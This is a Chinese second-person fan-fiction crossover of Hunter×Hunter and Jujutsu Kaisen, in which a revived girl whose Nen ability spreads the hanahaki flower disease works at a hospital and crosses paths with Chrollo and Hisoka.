《杀手先生会梦到咒灵小姐吗【猎人×咒回】》
1. 第一天
你是一名平平无奇的打工人。
在此之前,你是一名平平无奇的穿越者。
之所以平平无奇,是因为住在你家隔壁的玛丽大婶一家都是资深穿越人士,甚至还发展出了一条异世界代购产业链。
你作为玛丽大婶的邻居,享受了不少福利,比如,每个月都能追到霓虹国最新的连载漫画。
好耶!死神小学生还没有完结!
狗屎!小杰找爸爸还没有复刊!
“葵啊,葵?葵!!!”
你砰的一声从床上摔到了地上,爬起来的过程中被耳机线绊倒一次,漫画书砸脚一次,桌角磕膝盖一次。
“玛丽大婶,你回来啦——”
你站在二楼朝下面挥手,因为剧痛而只能露出一个五官扭曲的笑。
站在楼下花园里的玛丽大婶穿着一身干练的霓虹国职业套装,戴着墨镜,拖着行李箱,金色大波浪在阳光下闪着耀目的光,显然刚穿越回来不久。
“葵啊,好消息和坏消息,你想先听哪一个?”
“呃……好消息吧……”
玛丽大婶的墨镜一闪,“帮你找到了你曾经的住处哦~”
“哎?真的吗?太好了!”正如你之前所说,你是一名穿越人士,而在与玛丽大婶一家的交流中,你发现对方前往的异世界恰好是你穿越之前的世界。这是何等的缘分!
“那坏消息是……”
玛丽大婶把墨镜摘了下来,语气平淡道,“你住着的那个小区,三年前因为一场大火全部烧掉了呢。”
*
你是刚刚得知唯二的房产之一没了的高中毕业生,父母双亡身无分文靠邻居们接济长大的平平无奇穿越君。
在异世界生存了五年后,你得出了一个结论,吃软饭就是狗屎!
为了不做被自己唾弃的那种人,你决定外出打工赚钱攒学费上大学。
当然,出门前你有拜托玛丽大婶帮忙把每月的连载漫画都留下,等你稳定下来再寄给你。
“葵,要出远门啊?”
“是的,山姆大叔。”
山姆大叔是个满脸络腮胡,脸上有道疤的大汉,经营着村子里唯一的一家小卖部,在你做出读大学的决定之前,一直被他当做继承人培养,虽然玛丽大婶的好姐妹玲花阿姨更想让你去当她们公司的吉祥物。
“带上这个。”山姆大叔递给你一个保温杯,平平无奇的不锈钢老人款。
“这是什么?”你晃了晃,里面大概有半杯水。
“幸运水。”山姆大叔露出一口整齐的白牙,笑得像鲨鱼,配合着脸上那道疤,简直是乡村凶杀案的必备开场,“睡觉之前喝一口,记住,每次睡觉之前都要喝!!!”
“好,好的。”
果然,哪怕过了五年也无法习惯山姆大叔偶尔黑.道大哥附体的样子啊。
你早上从家里出发,直到中午,才背着满满一背包邻居们的关爱出了村子,坐在了村口唯一的公交站牌下。
简陋的公交站牌旁边当然没有凳子,但是你刚好有慧子奶奶送的小马扎一把。自带摇椅功能的小马扎让你重拾了儿时的快乐,在公交车一个急刹停下时,车上的人看到的就是你一边疯狂摇摇椅一边五音不全地唱歌的癫狂景象。
在和车上的黑发帅哥对视的一瞬间,你心里闪过一句话,靠,老子社死了。
黑发帅哥独自一人,坐在后排靠窗的位置。你看了一眼空荡荡的车厢,默默地坐在了司机身后,跟黑发帅哥呈对角线的座位。
不知道为什么,一路上你都觉得后背凉飕飕的,但由于正值炎热的夏天,你没有去管它,就这么在公交车的颠簸中睡着了。
你在一阵剧痛中醒来,发现是司机师傅一个急刹,把你甩了出去,你的头准确无误地磕到了投币口旁的铁栏杆上。
你泪流满面地爬起来,司机师傅可能出于愧疚,躲避了你怨愤的目光,打开了车门。
“终点站——到了!请各位乘客下车!终点站——到了!请各位乘客——下车!”
车内的广播循环反复,是司机师傅无声的催促。
村外的世界,就是这么的没有人情味呢。你捂着额头流着泪走下车,下一秒身后的公交就窜了出去,甩了你一头一身的沙子。
“……”
“小姐,你没事吧。”
递到面前的是一块叠得整整齐齐的手帕。你顺着那个人的手臂抬头,是个黑发帅哥。
哇,黑发哎!
视野里出现红色,你眨了眨眼睛,更看不清楚了,只好先接过手帕道谢。你擦了擦额头,又擦了擦眼睛,感觉越擦越脏……啊,该不会对方递过来的就是脏的吧。
不对,你怎么会有这么可怕的想法,不要随便用恶意揣测他人啊!你在心里疯狂唾弃自己,一边想着待会怎么见人的问题。忽然,你灵光一闪。
你攥着手帕抬头,露出每次见到玛丽大婶时的笑容,“先生,请问您头上的这种绷带还有吗?可不可以借我一点?”
新认识的帅哥名叫科洛,是一名游客。虽然你不懂你们那个偏僻的小村庄怎么会有游客想进去,但是身为本地人的你还是表现出了对他的友好和欢迎。
只不过……
“科洛先生,我是头一回出村子,实在不知道怎么回去啦。”
是的,你回忆了一下,村子里没有一个人跟你提过回来的方法,只告诉你坐门口的公交到终点站就能坐船出去——那个时候你才知道你们村子原来是在海边!
至于为什么不能坐公交回去,这是因为你们所在的这片沙滩上干干净净的没有任何站牌啊!
你躲在遮阳伞下,看着科洛先生在午后阳光暴晒下依然能打的冷白皮,十分羡慕。在你的提议下,你们俩往不远处的海边走去,打算寻找你口中的船。
你原本以为会很难找,但是你们很快就看到了它——一艘平平无奇在海面上摇晃的小木船,目测最多只能坐四个人的那种。
海里还泡着一个正在给船做清洁的大汉,一边拿着刷子刷船,一边哼歌。你眯着眼睛努力辨认了一下,噢,好像是偶尔会到村里卖海鲜的乔治大叔。
忽然,对方注意到了岸边的你们,你刚准备打招呼,就看到乔治大叔翻到船上,朝这边挥了挥拳头,“滚出去!你们这两个偷渡客!”
偷渡客?你摸索船票的手迟疑了一秒,看到自称讨厌看书的乔治大叔不知道从哪里拿出了一本砖头书。
什么玩意?
在你对事情的发展一头雾水的时候,身边的科洛先生一把抓住了你的手。下一秒,你的身体猛然下坠。
“啊啊啊啊啊啊啊科洛先生这是哪里啊啊啊啊啊啊啊啊啊——————”
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*
今天的你依旧是平平无奇的打工预备役,而科洛先生则从一名平平无奇的游客晋升成了旅游团团长。
距离你们掉下山崖已经过去将近48个小时,可以申请人口失踪立案——并没有人知道你失踪了啊!!!
坠落时你的表情一定非常扭曲,与科洛先生的淡定形成鲜明对比。你在科洛先生温柔的黑眼睛里看到了一丝嘲讽,一定是你的错觉。
你原本以为自己会出师未捷身先死,这么想的下一秒你们就掉在了一个很有弹性的东西上面。你们被反作用力弹起来,又掉下去,反反复复几次,让你回想起了小时候玩过的蹦蹦床。
时间回到现在,救了你们的是面前这个笑得很变态的小丑。当他扭着腰走到蹦床边喊团长的时候,你浑身的鸡皮疙瘩都起来了。
靠,不要再过来了!不要污染我的童年啊!!!
小丑先生没有介绍自己,科洛先生也只简单地提了一下对方曾经是旅游团的团员,因为一些原因分道扬镳了。你猜测是因为小丑先生没有交团费。
可能是为了处理旅行过程中的纠纷,他们两个人出去说话了,你一个人留在山洞里烤火。
热死啦!
要不是摸鱼的时候掉进河里,你才不要为了等衣服烘干在深山老林里逗留。
唯一的好消息是你头上的伤口已经结痂了,所以你在洗衣服的时候顺便把科洛先生借给你的绷带和手帕一起洗了。洗着洗着,半条河都被你染成了红色,还好你在上游。
过了一会,你看他们还没有回来,就从背包里拿出邻居们赞助的酱料开始认真烤鱼。刷一层辣椒酱,转一圈,再刷一层柠檬酱,转一圈……
香飘十里。你在山洞里挥汗如雨,看起来谈崩了的俩人坐享其成。
小丑先生带着满脸的郁闷,一口气吃掉了三条鱼,科洛先生看起来斯斯文文的,干饭速度跟小丑先生一样快。在座的各位中,只有你是菜鸡,跟鱼刺搏斗了一小时,才勉强凑合了一顿。
据说这里离城镇较远,于是你们选择在山洞里过夜。第二天一大早,你是被破空声惊醒的。
科洛先生不知所踪,地上留着一片整整齐齐的头发,边上插着一张陷进地里的扑克牌。
你摸了摸变短了一截的头发,用死亡凝视看着对面的红发小丑,“你在做什么?”
“啊啦~射偏了~人家瞄准的其实是脖子哦~”红发的小丑露出变态笑,夹起一张扑克牌放到唇边,伸出舌头舔了舔。
“啊啊啊啊受不了了你这个恶心的变态小丑!”
你一掀被子面目狰狞地扑过去。
该怎么描述你和他的战斗呢,结果当然毫无悬念。你最后的记忆是看到了一张沾满鲜血的红心A。
*
库洛洛走进山洞时,西索正在堆扑克牌金字塔的最顶层。
山洞不大,里面的景象一览无余。那个被他从贪婪之岛带出来的女孩无声无息地趴在地上,从身体下方流出的鲜血已经汇聚成小溪,淌进山洞深处。
库洛洛面色平静地跨过地上那滩血,走到女孩的行李边,翻出一本书。
“走吧。”
“真冷漠啊~还以为你留着她有什么特殊目的~”
魔术师兴致索然地抽走了塔底的一张扑克牌,整座金字塔轰然倒地。
2. 第二天
你是一名平平无奇的打工人,有着高中学历,目前在塔卢米市的一家疑难杂症治疗中心工作,除夜班外,朝九晚五,工资稳定,待遇从优,街上的孩子都羡慕哭了(并没有)。
塔卢米市位于优路比安大陆北侧的提卡艾蒙公国,与其他大陆有着多年的贸易往来,是一座发展良好的中小型城市。不过,工作不到半年的你暂时还没有钱购置属于自己的房产,所以现住所是医院的员工宿舍。
你的日常工作很简单,主要是在各诊室巡视,记录你所负责的那片区域患者的病情发展,以及在自己的能力范围内满足病人们的小小愿望。
一日三餐都可以在医院的食堂解决,没有房贷压力的你也可以自由选择在附近的餐馆就餐。嘛,打工人的生活就是这么的朴实无华且平静。
唯一的不和谐因素大概就是,你脖子上那道疤了吧。
四个月前,你决定出门赚钱,在踏上公交车的那一刻,你失去了意识。恢复意识时,你正躺在手术台上被人缝针。
你的脑子里闪过无数个可能的遭遇,包括但不限于器官买卖,人体改造,变态杀人魔之类的。
但你没想到自己其实是在被抢救。
菲尔医生是当时的主刀医生,也是你入职的这家治疗中心的总负责人。据他所说,你被送来时头和身体几乎完全分离,但很奇怪的还有生命迹象(什么恐怖片既视感),他所能做的只有帮你把脖子缝好,没想到在那之后不到一个月,你的身体就恢复了。
你帮菲尔医生总结了一下,你的情况大概就是,死了,但又没有完全死。
好耶!可以继续追名柯了!
到底是哪个混蛋杀的你?!
以上这两个想法是同时出现的,分别属于你的脑子和身体。你其实并没有完全恢复,伴随着脖子上那道横断疤的出现,你的头部意识与躯干意识产生了分离,偶尔还会拌拌嘴。
嘛,反正不影响正常生活。
你这么想着,从枕头底下拿出了一把刀。
啊啊啊啊啊再这么下去要无药可救了。
你流着泪看着自己用刀尖扎破了指腹,血冒出来,滴到面前的水杯里。
这么做真的好吗?
让我生气的混蛋都该死啦。
你拿起杯子晃了晃,血色很快在水中晕开,消失不见。
踏踏踏踏——
你迈着轻快的脚步,给自己所负责的区域送晚餐。今天是夜班,你特地在白天补了觉,现在精神非常好。
你挨个敲门进去送餐,患者们在黄昏时分的状态都不错,所以没有花费太长时间,很快就来到了最后一间。
你敷衍性地敲了敲之后直接推门,坐在病床上的黑发青年手里握着一本书,刚翻过一页。
“都这种时候了,还有精力看书,不愧是库洛洛先生啊。”你放下餐盘,面无表情地拍了拍手。
“过奖了,葵。”青年脸上挂着温和的笑,紧接着他的表情变了变,低头压着嗓子咳嗽了几声。
“喏。”你拿起水杯递到他面前,库洛洛看着杯子里的水,没有接。
“想杀了我吗,葵?”
库洛洛的笑容无懈可击,完全看不出有在生气。你啪的一声把杯子放回去,抄着手看他,“不可以吗?”
虽然死时的记忆相当模糊,但看到这张脸时,完全抑制不住内心的杀意呢。他就算不是凶手,也跟你的死亡脱不了干系吧。
“帮你解脱而已,这种病是无解的,杀了我也没用。”你在床边坐下来,露出一个恶意满满的笑,“因为,库洛洛先生要先搞清楚,单恋的对象是谁啊。”
虽然库洛洛一口都没动你送过来的食物,但他很快就再一次不受控制地剧烈咳嗽,吐出了一大片沾着血的玫瑰花瓣。
你心情大好,打扫完地面后推着餐车收工,临出门之前还愉快地转身跟他道别,“晚安,库洛洛先生。”
坐在床上的青年没有回应,面无表情地看着你离开的背影,恐怖的恶念像蜘蛛的网,牢牢地锁定了你。
一出门,你嘴角的笑容就垮了下来。计划大失败。你还记得一个月前见到库洛洛的场景,他是和菲尔医生有说有笑地一起走进来的,完全不像个患者。
很快菲尔医生向他介绍了你——花吐症分中心的研究人员。
而你在看到那张脸的瞬间头痛欲裂,如果不是身体意识牢牢控制着自己,肯定已经疼得满地打滚了吧。
“三叶医生,你好。”
你看着那只伸到你面前的手,慢慢地伸手握住了。
是熟悉的念力波动。
念的概念,是在你复活后和你的念能力一起出现在脑中的,就像是某种无需过多说明的“常识”。如果不是在图书馆和网站上都没有找到相关资料,你甚至不会察觉到异常。
你的念能力名为[花吐症]。
花吐症是因单向爱恋而患上的疾病。思念或爱意无法传达时,喉咙会产生强烈灼烧感,随着程度不断加深,喉咙、声带会产生撕裂感,引发剧烈咳嗽并吐出花瓣。严重者会呕吐出完整花枝,可能在剧痛中窒息或动脉破裂而死。
你的念以血液为媒介,根据浓度、新鲜程度的不同,接触到的人会有不同概率患上花吐症。
鲜花以情感和血液为食,根植于患者体内,念力消失也不会停止生长。所以,即便是你本人,也没有办法使患者们恢复健康。
你所在的分中心是几个月前刚成立的,你算了算第一批患者出现的时间,恰好是你遇害后不久。
啊,也就是说你就是始作俑者呢。
好在没有你这个唯一感染源(真的不是骂自己)之后,这两个月的患病人数明显下滑不少。
不主动感染别人的话(真的不是丧尸病毒啦),你所负责的那一区域的患者,无论是成功治愈还是死亡,这一切很快就要结束了吧。
结束之后……
叮铃铃——叮铃铃——
突然响起的值班铃打断了你的思绪,自动接听后,话筒里传出女孩惊慌失措的声音,“医生,医生!哥哥他……快来救救哥哥!”
你飞奔到11号病房门口,进门之前才发现自己的手在控制不住地发抖。
门内传来撕心裂肺的咳嗽声。
你定了定神,拧开门把手。
扑面而来的血腥气,隔着口罩都能清楚地闻到,房间里一大滩一大滩鲜红的血迹,地上洒着残破不全的花朵,从病床一路延伸到紧闭的卫生间前。
11号患者的妹妹正拼命地敲着门,“哥哥!求求你……你会好起来的……求求你开门!哥哥!”
“医生!医生!求你救救哥哥!”泪水大颗大颗地从女孩的眼睛里涌出来,你颤抖着从口袋里摸出钥匙。
门内的咳嗽声却在这时渐渐弱下来。
“加奈子……”
男人虚弱的声音从门后传出,女孩抽泣了一声,捂住了嘴。
“咳咳!”更多的血液从下方的门缝里渗出来,你很难想象卫生间内的景象。
“加奈子,抱歉。拜托你,照顾好婆婆。抱歉……”男人的声音低下去。
钥匙插入锁孔后,仅仅转了半圈,就再也转不动了,也拔不出。你意识到了什么,松开把手,抱着还在痛哭的加奈子后退了一步。
木制的门板渗出血色,发出不堪重负的挤压声,伴随着咔咔的脆响,门板突然崩裂成无数的碎片,又在坍塌前被极速生长的花枝
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淹没。
粉色的重瓣花朵在枝头摇曳,被血腥气刺激得迟钝的鼻子仿佛也能捕捉到那一缕淡淡的清香。
加奈子松开你的白大褂,摇摇欲坠地站起来,擦了擦眼泪,“医生,为什么?明明喜欢别人是这么痛苦的事,为什么他还是不愿意放弃!”
为什么呢。从纠结又胆怯的雏菊,到坚持着永恒、无望爱意的洋桔梗。
人的情感真是永恒无解的命题。
*
“艾米尔,白天就交给你了。”
你微笑着和同事换班。艾米尔的年纪和你差不多大,有着一头浅金色的卷发,此刻她低着头,眼圈微微泛红,看起来刚刚哭过。
你忍不住摸了摸艾米尔的头。结果她呜的一声就哭出来了。
“葵,这种事情,要怎么……怎么才能习惯啊……”艾米尔捂着脸,抽噎着。
“用不着习惯啦。”你从口袋里掏出手帕递过去,“告诉你一个好消息,我今天要帮23号房的先生送情书哦。”
“哎?”艾米尔惊讶地抬起头,脸上还挂着泪痕,“真……真的吗?太好了!”
你看着艾米尔的眼睛里重新亮起的高光,点了点头,“那么,今天也要认真工作哦。”
“嗯!”
艾米尔浅金色的背影走远后,你打开提包看了看里面的信封,这是送早餐时23号先生递给你的。
坐在病床上的青年被病痛折磨得形容枯槁,精神倒还不错,嘴角带着一贯的谦和微笑,“拜托你了,三叶医生。”
嘛,即便是你,被托付了这样沉甸甸的东西,也会觉得难以招架呢。
不知不觉说出了什么少年漫台词啊!你摇了摇头把乱七八糟的想法都甩出去,拿着23号先生提供的地址出了门。
当你抵达卡希城,已经是中午。卡希城位于塔卢米市西侧,相对来说发展较为缓慢,也就是说,民风更淳朴一些。
你很快就在热心路人的帮助下找到了地址所在,那是一栋浅绿色的房子,属于一眼看过去心情就会变好的类型。
你的脚步渐渐慢下来,停在了篱笆墙外,院子里玩雪的小男孩跑过来,眨了眨圆溜溜的眼睛,“请问你找谁?”
如果有一天,你鼓起勇气去跟喜欢的人告白,却发现对方已经有了一个孩子,你会怎么做?
某一刻你的脑中闪过这样的问题。
在你的脑子想出答案之前,身体先一步弯下腰,露出一个温柔的笑,“你好哦,我找安娜·贝斯特小姐。”
“昂?安娜……”小男孩疑惑地看了你一眼,转头一溜烟跑进了屋子里。
23号先生好惨哦。
惨什么啊,这就是不主动出击的代价!
你的微笑一直维持到进屋的那一刻。
“请问,贝斯特小姐她……”
或许是你的表情太错愕,贝斯特夫人安抚地拍了拍你的手,你跟着她走到一间屋子前。
“安娜她在七年前就去世了。”
贝斯特夫人用钥匙打开了紧闭的房门,一股尘封的气息扑面而来。房间不大,一张床,一张桌子,一个书架,东西摆放得有些随意,甚至桌上还摊开着一本书,好像房间的主人随时会回来一样。
“已经很久没有打开过了,可能有些呛。”贝斯特夫人走进去推开了窗户,冷冽的风灌进来,桌上的书页哗啦响了一下。
“刚开始,我们很不习惯家里少了一个人,收养了阿利之后,慢慢的就放下了。”贝斯特夫人目光温柔地看着窗外,院子里的小男孩正认真地堆着雪人。
23号先生的信似乎变得更加沉重,哪怕你的手仍稳稳地拿着它。
“贝斯特夫人,我有一个请求。”
3. 第三天
“啊啊啊啊啊啊啊完全不知道该怎么办才好。”
你抓着头发在床上疯狂打滚。
好在医院的员工宿舍是单间,不会有第二个人看到你抓狂的样子。
到了上班时间,哪怕你再不情愿,也不得不换上衣服出门。
换班的时候艾米尔看起来有些不对劲,具体是哪里你也说不上来,于是你盯着她看了快一分钟。
“葵……你……有什么事吗?”艾米尔注意到你有如实质的目光,收拾东西的动作都变得有些僵硬。
“今天有什么特别的事吗?”
艾米尔愣了一下,脸红了,“没有的啦。葵,我还有事先走了,明天见!”
艾米尔,绝对有事情瞒着你。
满腹疑惑很快就被快要见到23号先生的纠结取代,你推着餐车,停下脚步时才发现自己走到了最后一间房的门口。
“工作不顺利吗?”
淦!要不要这么敏锐。你没好气地把食物摆到桌子上,不想搭理他,坐到一旁的凳子上沉思。
“喂,你今天怎么样?身体状况还好吗?”你瞥了眼正在安安静静吃东西的库洛洛,从进门起就没听到咳嗽声,不太习惯。
库洛洛笑了一声。你莫名其妙地看着他,库洛洛的手里还握着半杯水,你眼睁睁地看着玻璃杯上出现了一条裂缝。
混蛋,损坏了公物是要赔偿的啊。你差点要上前跟他抢杯子。
“不是想杀了我吗?”
“那是昨天的想法。”你皱着眉去擦桌子上的水,“库洛洛,这个杯子我要算在你的住院费里。”
“你试着模仿一下这个笔迹。”
“厉害啊!不愧是……”你收起笑容,把准备好的信纸放到库洛洛面前,没有感情地吩咐,“写吧。”
“写什么?”与你达成“交易”后,库洛洛表现得十分配合。
你看了眼房间里的钟,距离你进门已经过去了十五分钟,再过五分钟还不走就要被其他还没吃上晚饭的人投诉了。
“你看过很多书吧!照着里面的女性角色,写一封回信吧!”你把23号先生的情书一并推到库洛洛面前。
人的潜能是无限的,山姆大叔诚不欺我。五分钟后,你带着新出炉的“安娜小姐的回信”回到了走廊。
“东先生,您一定要快点好起来。这是安娜小姐托我带给您的,她说她会在卡希城等您。”
得益于身体意识的给力,你的表演顺利过关。23号先生对你递过来的东西毫无怀疑,翻看了之后竟然抱着书流泪了。
“这是安娜搬走时,我送给她的。”东先生手中的,正是原先放在安娜小姐桌上的那本书。原本的目的只是聊以慰藉和增加可信度,没想到歪打正着。
你留在23号房听完了东先生的往事。
东先生初中时跟随经商的父亲来到了塔卢米市,遇到了当时住在他家隔壁的贝斯特一家。安娜小姐是个活泼可爱的姑娘,有着金色的头发和碧绿的眼睛——来自于你在贝斯特家客厅看见的照片。
小时候的东不太爱说话,安娜为了帮他融入大家,经常带着他参加各种活动,渐渐的东变得开朗了些,也对一直帮助他的安娜产生了喜欢的情绪。
但东不敢说出自己的暗恋。因为安娜的笑是毫无阴霾的,在安娜的心中,自己或许只是一起玩耍的普通朋友。抱着这样的想法,东一次又一次地退缩了。直到安娜一家搬走,东也没能告白,他把自己的心意藏在书里,送给了安娜。
“谢谢你,三叶医生。请帮我转告安娜,我很快就来。”
东先生对你微笑着。
你心满意足地回了值班室,写完新的病情记录后,开开心心地合上笔帽打算休息一会。
由于白天没有机会补觉,你不知不觉地靠在值班室的椅子上睡着了。
哗啦。很轻的翻页声。
你睁开眼,看到了昏暗的天花板。
“不是约好了白天吗?”你打着哈欠坐起来,库洛洛顶着黑眼圈坐在窗边看书,似乎不想过多解释。
你揉了揉眼睛,看到了桌子上的玫瑰花,恍然大悟,“你昨天晚上吐出来的?这么一大把,很辛苦吧。”
你仔仔细细地观察着这束香槟色的玫瑰,卷曲的花瓣上残留着暗色的血迹,因为离体的缘故,显得有些没精打采的,凑近了能闻到一股淡淡的……靠……浓郁的血腥味!
“呕……”你捂住口鼻后退三步,“库洛洛你没洗干净就放我桌上!”
“我可能坚持不到白天。”库洛洛合上手里的书,闭着眼睛靠在椅背上。
他的声音听起来非常古怪。
你的目光落在那束带血的玫瑰上,表情变得有些凝重,一把抓起它冲进了卫生间,“请一定要坚持住!”
水龙头开到最大,透明的水流冲刷着你手臂上的伤口,混合成浅红色的血水汇入池中。用凝将念集中在眼睛上,你看到水中丝线般缠绕的念,自发地牵引着飘在水面上的花瓣。
T-E-R-E-S-A
A-F-U-G-E
1-9-9-8
A-O-I
这项能力是在11号先生死后出现的。虽然不愿意承认,但你的念能力似乎的确是以他人的生命作为养分在成长着。
在你看来是个有些鸡肋的能力,只能通过花瓣占卜提供一些暗恋对象的信息,但对于现在的库洛洛,或许刚刚好。
使用它比想象中更加费力,你满头大汗地走出去,把占卜结果写在纸上递给库洛洛,“你有想起来什么吗?”
时间、地点、人物都有了,你不能理解的是最后一行为什么会出现自己的名字。或者说,有什么别的含义?
“原来如此,是她啊。”库洛洛肩膀抖动着笑起来。
“你笑得像是有什么深仇大恨。”你搓了搓胳膊上冒出来的鸡皮疙瘩,拿出急救箱给自己包扎伤口,“想起来的话告诉我有什么可以帮忙的,白天免费帮你跑腿。”
“不必了,因为……”
库洛洛的声音和突然响起的值班铃重叠在一起,你没能听清楚。刚想问他,就看到了指示灯上显示的号码——23。
你抓着没绑紧的绷带就跑了出去。
23号病房的门半开着,初生的阳光透过玻璃窗洒进来,站在病床边的人转过身,满脸的泪痕。
“艾米尔?”
“葵……东先生他……”
艾米尔怀里抱着一本书,走近几步把书塞到你的手里,在你问她为什么会在这里之前,抹着眼泪跑出去了。
东先生的床被大片大片金黄的向日葵占据,重重叠叠的花瓣间,你看到了东先生的脸,他闭着眼睛,嘴角噙着笑,就像是睡着了。
你走到床边。东先生的身体已经完全消失,化作鲜花的养分,只剩下面容未被吞噬。这是你第一次真正见到病人死时的模样。
你眨了眨眼睛,一滴眼泪砸在花上。
你翻开了艾米尔给你的书,扉页写着:
1990.6.21 东 赠安娜
这句话的下方,画着一朵小小的向日葵。
书的第二页夹着一张信纸,是东先生没有亲口告诉你的,故事的后半段。
贝斯特一家搬走后,安娜并没有和大家就此断了联系。她从新的住处给朋友们寄来了信件和照片,告诉东她说服了父母把新房子漆成了浅绿色,还在院子里做了一架秋千。
东开始庆幸自己没有冲动地告白,才能继续和安娜以朋友的关系轻松相处。直到三年后的春日,安娜寄来了一张结婚请柬。
安娜的年纪比他们都大一些,会在这个时候结婚并不奇怪,即便早已料想到会有这么一天,东还是感觉到了痛苦。
三叶医
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生,在此之前我曾无数次构想过我和安娜的未来,但在看到她的那一刻,我清楚地明白这一切都不会发生。
安娜很喜欢我带去的花,那是一束本不该在这个季节盛开的向日葵。我不记得那是一间怎样的花店,或许是那天我失魂落魄地走在街上,无意间闯入的。
无论如何,我没有后悔过。
安娜在那个男人身边看起来很快乐,这对我来说就足够了。安娜得到了她的幸福,与之相比,我能感受到的痛苦实在微不足道。
在那之后,我们一家也搬离了曾经的住处。大学毕业后,我留在了友克鑫市,在我的刻意回避下,往后的很多年我们都失去了联系。
得知她还挂念着我,我很高兴。
原本想快点好起来去见她,但身体似乎已经到了极限。
所以,三叶医生,冒昧地请求你,不要告诉安娜我死去的事,就让我最后再当个不敢面对她的懦夫吧。
太蠢了。
为了别人的幸福,放弃自己的生命。
太蠢了。
想要的东西,就去抢过来啊!
你用力地捂住了自己的脸。
不,不该这样想的。
从心脏蔓延开的疼痛,让你支撑不住跪倒在地上。
滴——滴——滴——滴——
刺耳的警报声。
头好痛,痛得像是要炸了。
无论谁都好,快来救救我。
*
十分钟前,塔卢米市疑难杂症治疗中心的前台接待了一位难缠的来访者。
“你们这里是不是有一个叫库洛洛·鲁西鲁的人!我要见他!”
红发白裙的少女双手撑在桌子上,气势汹汹的样子让前台怀疑她与对方有仇。
“抱歉,这位小姐,我们不能向外透露患者信息的哦。如果有探病需求,请先提交申请。”前台挂上营业微笑。
“那家伙果然在这里!”少女一拍桌子,前台瞳孔地震地看见自己的水杯弹起了一厘米。
“抱、抱歉,请问您……您找鲁西鲁先生有什么事呢?”前台迅速收起了手边的文件,同时悄悄地把手移到了报警器旁边。
“那家伙欠了我整整十个月的房租!”少女夸张地比着手势,“还有水电费外卖费和物业管理费!”
“哎,要不是路上钱花光了……”少女摸了摸肚子,双手合十做了个请求的动作,“好啦,前台小哥哥,拜托你告诉我他在哪里啦!”
“可……可是我们有规定……”被模样可爱的女孩子请求什么的,让前台一时忘了对方刚刚的可怕,内心剧烈动摇着。
“迪妮莎,不要为难别人。”
额上缠着绷带的黑发青年站在二楼的旋梯旁,漆黑的眼睛注视着楼下的少女。
少女的身体僵硬了一下,随即满不在乎地站直了,一脸嫌弃地看回去,“什么嘛,你还没死啊,库洛洛。”
刺耳的警报声和电话铃打断了两人的对视,前台接起电话,一脸惊恐地站起来。
站在二楼的黑发青年突然捂住心脏,猛地吐出了一口血。
“哎哎哎?这是怎么了?”
整栋楼轻微地摇晃了一下,少女当即踩着桌子跳起来,抓着扶手处的铁栏杆翻到二楼,一把拉起半跪在地上的青年。
“跑。”库洛洛只说了一个字。
迪妮莎皱着眉把他扛到肩上,从二楼直接跳下去,顺便一手捞起被电话线绊倒的前台,迅速冲了出去。
轰隆隆——
整栋楼剧烈地晃动着,墙面开裂,缝隙里生长出绿色的藤蔓,迪妮莎险而又险地避过一棵突然破开路面长出的大树,尖叫不止的前台恰好撞上去,陷入了昏迷。
“库洛洛,你到底——干了什么!”
回应她的是浓烈的血腥味。
“不要!吐在!我的衣服上!!”
4. 第四天
呲啦——呲啦——
像是信号不好时的电流声。
你的意识在一片混沌中,逐渐听到了断断续续的说话声,眼前像老式电视机一样出现了大片黑白的雪花,间歇闪过一两幅彩色的画面。
与亲人、朋友相处的日常。
热闹的集市。
葬礼。
……
喜悦、悲伤、愤怒、绝望……数不尽的情绪挤压过来,让你一度产生了呕吐的欲望,但你不可能吐出来,因为你根本无法感知到身体的存在。
哗啦——
与其说眼前出现了什么,不如说你的意识掉入了一个地方。困扰着你的声音被隔绝在外,世界一下子安静下来,反而有一种晕眩感。
灿烂的晚霞铺洒在天边,夕阳下的少年少女像漫画书中的人物,一前一后地慢慢走着。
“我们看完日落再回去吧。”
“随你。”走在后头的少年无所谓地点点头,跟着少女在路边坐下。
流水声伴着虫鸣。是夏天吗?
少女托着脸颊,认认真真地欣赏日落。少年看了会天空,又侧过脸看她。
直到夕阳最后的光边消失在地平线后。
“给你。”少年伸过来的手中握着一株向日葵。
少女转过头,有些意外地笑起来,“你怎么想到送我这个?”
“……觉得适合就送了。”少年撑着下巴,移开目光,“问这么多做什么。”
“谢谢,我很喜欢哦。”少女接过向日葵抱在怀里,“说到葵,我们家刚好有人叫这个名字呢。”
少年看着她,撇了撇嘴角。
“但果然还是我们的名字更配呐。”
少女笑眯眯的说完后半句,少年刷的站起来,转身插兜,黑发间露出来的耳尖红得彻底,“看完了就赶紧回去!不然又要被那群家伙误会我把你弄丢了。”
“所以你是在转移话题吗?”
“哈?你在说什么蠢话?”
“可是你脸红了哦。”
“喂!你这家伙到底是不是女人啊!”
……
什么嘛。
围观了小孩子的恋爱吗?
该不会自己已经死了,变成了这方面的什么神明吧。
话说自己长这么大,一次恋爱都没有谈过,有点可惜啊。
不过如果真的已经死了,就只能搞纯爱了,对方会不会介意呢?
两人的对话声逐渐远去,与身体意识失联太久,你的思维难免有些发散。
毕竟不会有意识在这时候跳出来反驳。
周围的景象有了变化。
你看到了一栋有些熟悉的大楼。
是霓虹啊。或许所有的公寓楼都长一个样吧。你没有继续想下去,因为你看到了两个熟悉的身影。
“你走那么快做什么?等等我啦!”
穿着冬服的少女撑着楼梯扶手,弯下腰喘气,脸颊因缺氧而泛红。
“是你的体力太差了吧!”少年从上一层探头,把怀中抱着的箱子放到地上。
“上来。”少年背对着少女蹲下,避开了她的目光,手轻轻招了招,“快点!把你送上去再接着搬,不然一直等你太浪费时间了。”
“谢谢。”少女松开扶手,笑眯眯地趴到他的背上,“没有装电梯的房子果然很不方便呢,多亏了你啦。”
少年没有说话。少女对着手心呵了呵气,捂在少年的耳朵上。少年脚下一个趔趄,“不要趁机动手动脚!”
“好吧好吧,你可真严格呢。”少女无奈地收回手,看着楼外飘扬的雪,语气轻快地说,“晚上去吃寿喜锅怎么样?和冬至很配哦。”
“是你自己想吃了吧?”
“哈哈,被你发现了啊。”
……
可恶!为什么要让你一个单身狗看到这些啊!你握紧了并感受不到的拳头。
画面再次淡去。
你开始四处寻找离开的办法。
乱找一通后无果,只能回来继续看小孩子甜腻腻的恋爱日常。
由于你目前是以意识的形式存在,其实信息是无孔不入的,你也做不到闭眼睛捂耳朵这种只有身体才能办到的事。
就当作在看少女漫画吧。
要是有肥宅快乐水就好了。
可恶,你只爱热血少年漫的啊混蛋。
……
啊啊啊啊啊啊你们两个小傻子明明互相喜欢为什么不立刻在一起!
如果你还有身体的话,你一定已经满世界打滚了。
可惜你没有。
